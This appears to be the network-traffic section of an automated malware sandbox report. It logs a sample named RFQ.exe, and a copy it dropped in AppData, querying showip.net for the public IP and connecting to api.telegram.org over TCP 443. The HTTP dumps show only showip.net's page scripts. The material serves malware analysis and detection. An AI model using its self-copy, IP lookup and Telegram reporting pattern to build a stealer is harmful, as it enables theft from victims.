Mar 11, 2025 15:35:14.165560007 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.165591955 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.165597916 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.165644884 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.165654898 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.165667057 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.165680885 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.165680885 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.165699959 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.165719032 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.165730953 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.165760994 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.165775061 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.165812016 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.165823936 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.165832043 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.165863991 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.165895939 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.165910006 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.165957928 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.165962934 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.165980101 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.165992975 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166028023 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166035891 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166064024 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166079998 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166109085 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166115999 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166142941 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166150093 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166186094 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166192055 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166199923 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166251898 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166270018 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166289091 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166316986 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166323900 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166357040 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166366100 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166397095 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166403055 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166440010 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166446924 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166455030 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166461945 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166477919 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166487932 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166512966 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166518927 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166557074 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166563988 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166572094 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166603088 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166656017 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166677952 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166704893 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166717052 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166723967 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166731119 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166742086 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166755915 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166789055 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166795969 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166822910 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166829109 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166860104 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166867971 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166909933 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166915894 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166946888 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166953087 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.166961908 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.166990995 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:14.167013884 CET	49720	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:14.167016983 CET	443	49720	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:15.876070976 CET	443	49721	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:15.876259089 CET	49721	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:15.880007982 CET	49721	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:15.880023003 CET	443	49721	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:15.880335093 CET	443	49721	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:15.880425930 CET	49721	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:15.880812883 CET	49721	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:15.880975008 CET	49721	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:15.880983114 CET	443	49721	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:18.979757071 CET	443	49721	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:18.979964018 CET	49721	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:18.979984999 CET	443	49721	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:18.980027914 CET	49721	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:18.997695923 CET	443	49721	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:18.997785091 CET	443	49721	149.154.167.220	192.168.2.7
Mar 11, 2025 15:35:18.997895002 CET	49721	443	192.168.2.7	149.154.167.220
Mar 11, 2025 15:35:18.997895002 CET	49721	443	192.168.2.7	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 11, 2025 15:33:14.905250072 CET	58646	53	192.168.2.7	1.1.1.1
Mar 11, 2025 15:33:14.926008940 CET	53	58646	1.1.1.1	192.168.2.7
Mar 11, 2025 15:33:21.260276079 CET	58882	53	192.168.2.7	1.1.1.1
Mar 11, 2025 15:33:21.268512011 CET	53	58882	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 11, 2025 15:33:14.905250072 CET	192.168.2.7	1.1.1.1	0xd34	Standard query (0)	showip.net	A (IP address)	IN (0x0001)	false
Mar 11, 2025 15:33:21.260276079 CET	192.168.2.7	1.1.1.1	0x9d01	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 11, 2025 15:33:14.926008940 CET	1.1.1.1	192.168.2.7	0xd34	No error (0)	showip.net		162.55.60.2	A (IP address)	IN (0x0001)	false
Mar 11, 2025 15:33:21.268512011 CET	1.1.1.1	192.168.2.7	0x9d01	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.telegram.org

showip.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49681	162.55.60.2	80	2724	C:\Users\user\Desktop\RFQ.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2025 15:33:14.940944910 CET	58	OUT	GET / HTTP/1.1 User-Agent: Project1 Host: showip.net
Mar 11, 2025 15:33:15.597093105 CET	1236	IN	HTTP/1.1 200 OK Access-Control-Allow-Headers: * Access-Control-Allow-Methods: * Access-Control-Allow-Origin: * Content-Type: text/html;charset=utf-8 Date: Tue, 11 Mar 2025 14:33:15 GMT Server: Caddy Transfer-Encoding: chunked Data Raw: 34 36 66 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 47 2d 4c 36 4e 4b 54 35 47 36 44 37 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0a 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 72 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 3b 7d 0a 20 20 20 20 20 20 67 74 61 67 28 27 6a 73 27 2c 20 6e 65 77 20 44 61 74 65 28 29 29 3b 0a 0a 20 20 20 20 20 20 67 74 61 67 28 27 63 6f 6e 66 69 67 27 2c 20 27 47 2d 4c 36 4e 4b 54 35 47 36 44 37 27 29 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e [TRUNCATED] Data Ascii: 46f8<!DOCTYPE html><html lang="en"> <head> <script async src="https://www.googletagmanager.com/gtag/js?id=G-L6NKT5G6D7"></script> <script> window.dataLayer = window.dataLayer \|\| []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'G-L6NKT5G6D7'); </script> <script async src="https://fundingchoicesmessages.google.com/i/pub-8790158038613050?ers=1" nonce="a8sPTFY01S1bvA7Euc8gkg"></script><script nonce="a8sPTFY01S1bvA7Euc8gkg">(function() {function signalGooglefcPresent() {if (!window.frames['googlefcPresent']) {if (document.body) {const iframe = document.createElement('iframe'); iframe.style = 'width: 0; height: 0; border: none; z-index: -1000; left: -1000px; top: -1000px;'; iframe.style.display = 'none'; iframe.name = 'googlefcPresent'; document.body.appendChild(iframe);} else {setTimeout(signalGooglefcPresent, 0);}}}signalGooglefcPresent();})();</script> <script> (function(){'use strict';fun
Mar 11, 2025 15:33:15.597132921 CET	1236	IN	Data Raw: 63 74 69 6f 6e 20 61 61 28 61 29 7b 76 61 72 20 62 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f Data Ascii: ction aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;
Mar 11, 2025 15:33:15.597140074 CET	1236	IN	Data Raw: 76 61 72 20 63 20 69 6e 20 62 29 69 66 28 22 70 72 6f 74 6f 74 79 70 65 22 21 3d 63 29 69 66 28 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 29 7b 76 61 72 20 64 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 Data Ascii: var c in b)if("prototype"!=c)if(Object.defineProperties){var d=Object.getOwnPropertyDescriptor(b,c);d&&Object.defineProperty(a,c,d)}else a[c]=b[c];a.A=b.prototype}function ma(){for(var a=Number(this),b=[],c=a;c<arguments.length;c++)b[c-a]=argu
Mar 11, 2025 15:33:15.597160101 CET	672	IN	Data Raw: 67 65 22 29 29 7c 7c 28 43 28 29 3f 41 28 22 4d 69 63 72 6f 73 6f 66 74 20 45 64 67 65 22 29 3a 42 28 22 45 64 67 2f 22 29 29 7c 7c 43 28 29 26 26 41 28 22 4f 70 65 72 61 22 29 29 3b 76 61 72 20 73 61 3d 7b 7d 2c 45 3d 6e 75 6c 6c 3b 76 61 72 20 Data Ascii: ge"))\|\|(C()?A("Microsoft Edge"):B("Edg/"))\|\|C()&&A("Opera"));var sa={},E=null;var ta="undefined"!==typeof Uint8Array,ua=!ra&&"function"===typeof btoa;var F="function"===typeof Symbol&&"symbol"===typeof Symbol()?Symbol():void 0,G=F?function(a,b
Mar 11, 2025 15:33:15.597198963 CET	1236	IN	Data Raw: 72 74 69 65 73 28 61 2c 7b 67 3a 7b 76 61 6c 75 65 3a 62 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 7d 7d 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 77 61 28 29 7b 76 61 Data Ascii: rties(a,{g:{value:b,configurable:!0,writable:!0,enumerable:!1}})};function wa(){var a=[];G(a,1);return a}function xa(a,b){I(b,(a\|0)&-99)}function K(a,b){I(b,(a\|34)&-73)}function L(a){a=a>>11&1023;return 0===a?536870912:a};var M={};function N(a
Mar 11, 2025 15:33:15.597206116 CET	1236	IN	Data Raw: 2c 63 3d 30 2c 64 3d 61 2e 6c 65 6e 67 74 68 2d 31 30 32 34 30 3b 63 3c 64 3b 29 62 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 2e 73 75 62 61 72 72 61 79 28 63 2c 63 2b 3d 31 30 32 34 30 Data Ascii: ,c=0,d=a.length-10240;c<d;)b+=String.fromCharCode.apply(null,a.subarray(c,c+=10240));b+=String.fromCharCode.apply(null,c?a.subarray(c):a);a=btoa(b)}else{void 0===b&&(b=0);if(!E){E={};c="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234
Mar 11, 2025 15:33:15.597217083 CET	1236	IN	Data Raw: 72 6e 20 61 7d 7d 0a 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 45 61 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 76 61 72 20 67 3d 64 7c 7c 63 3f 48 28 61 29 3a 30 3b 64 3d 64 3f 21 21 28 67 26 33 32 29 3a 76 6f 69 64 20 30 3b 61 3d 41 72 72 61 Data Ascii: rn a}} function Ea(a,b,c,d,e,f){var g=d\|\|c?H(a):0;d=d?!!(g&32):void 0;a=Array.prototype.slice.call(a);for(var h=0;h<a.length;h++)a[h]=Da(a[h],b,c,d,e,f);c&&c(g,a);return a}function Fa(a){return a.s===M?a.toJSON():Aa(a)};function Ga(a,b,c
Mar 11, 2025 15:33:15.597223043 CET	1236	IN	Data Raw: 3d 4a 28 65 29 2c 67 3d 4a 61 28 65 2c 66 2c 62 2c 64 29 3b 76 61 72 20 68 3d 21 31 3b 69 66 28 6e 75 6c 6c 3d 3d 67 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 3d 74 79 70 65 6f 66 20 67 7c 7c 28 68 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 67 29 29 Data Ascii: =J(e),g=Ja(e,f,b,d);var h=!1;if(null==g\|\|"object"!==typeof g\|\|(h=Array.isArray(g))\|\|g.s!==M)if(h){var k=h=H(g);0===k&&(k\|=f&32);k\|=f&2;k!==h&&I(g,k);c=new c(g)}else c=void 0;else c=g;c!==g&&null!=c&&Ka(e,f,b,c,d);e=c;if(null==e)return e;a=a.h;
Mar 11, 2025 15:33:15.597281933 CET	1236	IN	Data Raw: 20 62 3b 0a 20 20 20 20 20 20 76 61 72 20 43 61 3b 69 66 28 4e 28 68 3d 62 5b 64 2d 31 5d 29 29 7b 61 3a 7b 76 61 72 20 79 3d 68 3b 65 3d 7b 7d 3b 63 3d 21 31 3b 66 6f 72 28 76 61 72 20 63 61 20 69 6e 20 79 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f Data Ascii: b; var Ca;if(N(h=b[d-1])){a:{var y=h;e={};c=!1;for(var ca in y)Object.prototype.hasOwnProperty.call(y,ca)&&(a=y[ca],Array.isArray(a)&&a!=a&&(c=!0),null!=a?e[ca]=a:c=!0);if(c){for(var rb in e){y=e;break a}y=null}}y!=h&&(Ca=!0);d--}for(;0
Mar 11, 2025 15:33:15.597290039 CET	1236	IN	Data Raw: 6f 63 75 6d 65 6e 74 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 22 73 63 72 69 70 74 5b 6e 6f 6e 63 65 5d 22 29 29 3f 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 Data Ascii: ocument).querySelector)?void 0:d.call(c,"script[nonce]"))?b.nonce\|\|b.getAttribute("nonce")\|\|"":"")&&a.setAttribute("nonce",c)};function Ya(a){a=void 0===a?document:a;return a.createElement("script")};function Za(a,b,c,d,e,f){try{var g=a.g,h=Ya
Mar 11, 2025 15:33:15.601902008 CET	1236	IN	Data Raw: 62 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 3b 62 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 57 28 31 30 30 2c 31 31 30 29 2e 74 6f 53 74 72 69 6e 67 28 29 2b 22 25 22 3b 62 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 57 28 Data Ascii: b.style.position="fixed";b.style.width=W(100,110).toString()+"%";b.style.zIndex=W(2147483544,2147483644).toString();b.style["background-color"]=hb(249,259,242,252,219,229);b.style["box-shadow"]="0 0 12px #888";b.style.color=hb(0,10,0,10,0,10);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49682	162.55.60.2	80	7340	C:\Users\user\AppData\Roaming\wOPQRmK.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2025 15:33:19.095204115 CET	58	OUT	GET / HTTP/1.1 User-Agent: Project1 Host: showip.net
Mar 11, 2025 15:33:19.748051882 CET	1236	IN	HTTP/1.1 200 OK Access-Control-Allow-Headers: * Access-Control-Allow-Methods: * Access-Control-Allow-Origin: * Content-Type: text/html;charset=utf-8 Date: Tue, 11 Mar 2025 14:33:19 GMT Server: Caddy Transfer-Encoding: chunked Data Raw: 34 36 66 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 47 2d 4c 36 4e 4b 54 35 47 36 44 37 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0a 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 72 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 3b 7d 0a 20 20 20 20 20 20 67 74 61 67 28 27 6a 73 27 2c 20 6e 65 77 20 44 61 74 65 28 29 29 3b 0a 0a 20 20 20 20 20 20 67 74 61 67 28 27 63 6f 6e 66 69 67 27 2c 20 27 47 2d 4c 36 4e 4b 54 35 47 36 44 37 27 29 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e [TRUNCATED] Data Ascii: 46f8<!DOCTYPE html><html lang="en"> <head> <script async src="https://www.googletagmanager.com/gtag/js?id=G-L6NKT5G6D7"></script> <script> window.dataLayer = window.dataLayer \|\| []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'G-L6NKT5G6D7'); </script> <script async src="https://fundingchoicesmessages.google.com/i/pub-8790158038613050?ers=1" nonce="a8sPTFY01S1bvA7Euc8gkg"></script><script nonce="a8sPTFY01S1bvA7Euc8gkg">(function() {function signalGooglefcPresent() {if (!window.frames['googlefcPresent']) {if (document.body) {const iframe = document.createElement('iframe'); iframe.style = 'width: 0; height: 0; border: none; z-index: -1000; left: -1000px; top: -1000px;'; iframe.style.display = 'none'; iframe.name = 'googlefcPresent'; document.body.appendChild(iframe);} else {setTimeout(signalGooglefcPresent, 0);}}}signalGooglefcPresent();})();</script> <script> (function(){'use strict';fun
Mar 11, 2025 15:33:19.748097897 CET	1236	IN	Data Raw: 63 74 69 6f 6e 20 61 61 28 61 29 7b 76 61 72 20 62 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f Data Ascii: ction aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;
Mar 11, 2025 15:33:19.748126984 CET	1236	IN	Data Raw: 76 61 72 20 63 20 69 6e 20 62 29 69 66 28 22 70 72 6f 74 6f 74 79 70 65 22 21 3d 63 29 69 66 28 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 29 7b 76 61 72 20 64 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 Data Ascii: var c in b)if("prototype"!=c)if(Object.defineProperties){var d=Object.getOwnPropertyDescriptor(b,c);d&&Object.defineProperty(a,c,d)}else a[c]=b[c];a.A=b.prototype}function ma(){for(var a=Number(this),b=[],c=a;c<arguments.length;c++)b[c-a]=argu
Mar 11, 2025 15:33:19.748172998 CET	1236	IN	Data Raw: 67 65 22 29 29 7c 7c 28 43 28 29 3f 41 28 22 4d 69 63 72 6f 73 6f 66 74 20 45 64 67 65 22 29 3a 42 28 22 45 64 67 2f 22 29 29 7c 7c 43 28 29 26 26 41 28 22 4f 70 65 72 61 22 29 29 3b 76 61 72 20 73 61 3d 7b 7d 2c 45 3d 6e 75 6c 6c 3b 76 61 72 20 Data Ascii: ge"))\|\|(C()?A("Microsoft Edge"):B("Edg/"))\|\|C()&&A("Opera"));var sa={},E=null;var ta="undefined"!==typeof Uint8Array,ua=!ra&&"function"===typeof btoa;var F="function"===typeof Symbol&&"symbol"===typeof Symbol()?Symbol():void 0,G=F?function(a,b
Mar 11, 2025 15:33:19.748209000 CET	1236	IN	Data Raw: 61 79 28 61 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 29 3b 64 3d 48 28 61 29 3b 69 66 28 64 26 36 34 29 72 65 74 75 72 6e 20 61 3b 64 7c 3d 36 34 3b 69 66 28 63 26 26 28 64 7c 3d 35 31 32 2c 63 21 3d 3d 61 5b 30 5d 29 29 74 68 72 6f 77 20 45 72 Data Ascii: ay(a))throw Error();d=H(a);if(d&64)return a;d\|=64;if(c&&(d\|=512,c!==a[0]))throw Error();a:{c=a;var e=c.length;if(e){var f=e-1,g=c[f];if(N(g)){d\|=256;b=(d>>9&1)-1;e=f-b;1024<=e&&(za(c,b,g),e=1023);d=d&-2095105\|(e&1023)<<11;break a}}b&&(g=(d>>9&
Mar 11, 2025 15:33:19.748222113 CET	1236	IN	Data Raw: 3d 62 5b 28 77 26 31 35 29 3c 3c 32 7c 68 3e 3e 36 5d 3b 68 3d 62 5b 68 26 36 33 5d 3b 63 5b 65 2b 2b 5d 3d 67 2b 6b 2b 77 2b 68 7d 67 3d 30 3b 68 3d 64 3b 73 77 69 74 63 68 28 61 2e 6c 65 6e 67 74 68 2d 66 29 7b 63 61 73 65 20 32 3a 67 3d 61 5b Data Ascii: =b[(w&15)<<2\|h>>6];h=b[h&63];c[e++]=g+k+w+h}g=0;h=d;switch(a.length-f){case 2:g=a[f+1],h=b[(g&15)<<2]\|\|d;case 1:a=a[f],c[e]=b[a>>2]+b[(a&3)<<4\|g>>4]+h+d}a=c.join("")}return a}}return a};function Ba(a,b,c){a=Array.prototype.slice.call(a);var d=
Mar 11, 2025 15:33:19.748243093 CET	1236	IN	Data Raw: 75 72 6e 20 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 48 61 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 3d 63 7c 7c 62 26 32 3f 4b 3a 78 61 2c 65 3d 21 21 28 62 26 33 32 29 3b 61 3d 42 61 28 61 2c 62 2c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e Data Ascii: urn a}}function Ha(a,b,c){var d=c\|\|b&2?K:xa,e=!!(b&32);a=Ba(a,b,function(f){return Ga(f,e,d)});G(a,32\|(c?2:0));return a};function Ia(a,b){a=a.h;return Ja(a,J(a),b)}function Ja(a,b,c,d){if(-1===c)return null;if(c>=L(b)){if(b&256)return a[a.leng
Mar 11, 2025 15:33:19.748255014 CET	1236	IN	Data Raw: 74 6f 4a 53 4f 4e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 45 61 28 74 68 69 73 2e 68 2c 46 61 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 21 31 2c 21 31 29 3b 72 65 74 75 72 6e 20 50 61 28 74 68 69 73 2c 61 2c 21 30 29 7d 3b 54 2e Data Ascii: toJSON=function(){var a=Ea(this.h,Fa,void 0,void 0,!1,!1);return Pa(this,a,!0)};T.prototype.s=M;T.prototype.toString=function(){return Pa(this,this.h,!1).toString()}; function Pa(a,b,c){var d=a.constructor.v,e=L(J(c?a.h:b)),f=!1;if(d){if
Mar 11, 2025 15:33:19.748269081 CET	1236	IN	Data Raw: 28 61 29 7b 74 68 69 73 2e 68 3d 52 28 61 29 7d 6e 28 52 61 2c 54 29 3b 76 61 72 20 53 61 3d 51 61 28 52 61 29 3b 76 61 72 20 55 3b 66 75 6e 63 74 69 6f 6e 20 56 28 61 29 7b 74 68 69 73 2e 67 3d 61 7d 56 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 Data Ascii: (a){this.h=R(a)}n(Ra,T);var Sa=Qa(Ra);var U;function V(a){this.g=a}V.prototype.toString=function(){return this.g+""};var Ta={};function Ua(){return Math.floor(2147483648Math.random()).toString(36)+Math.abs(Math.floor(2147483648Math.random())
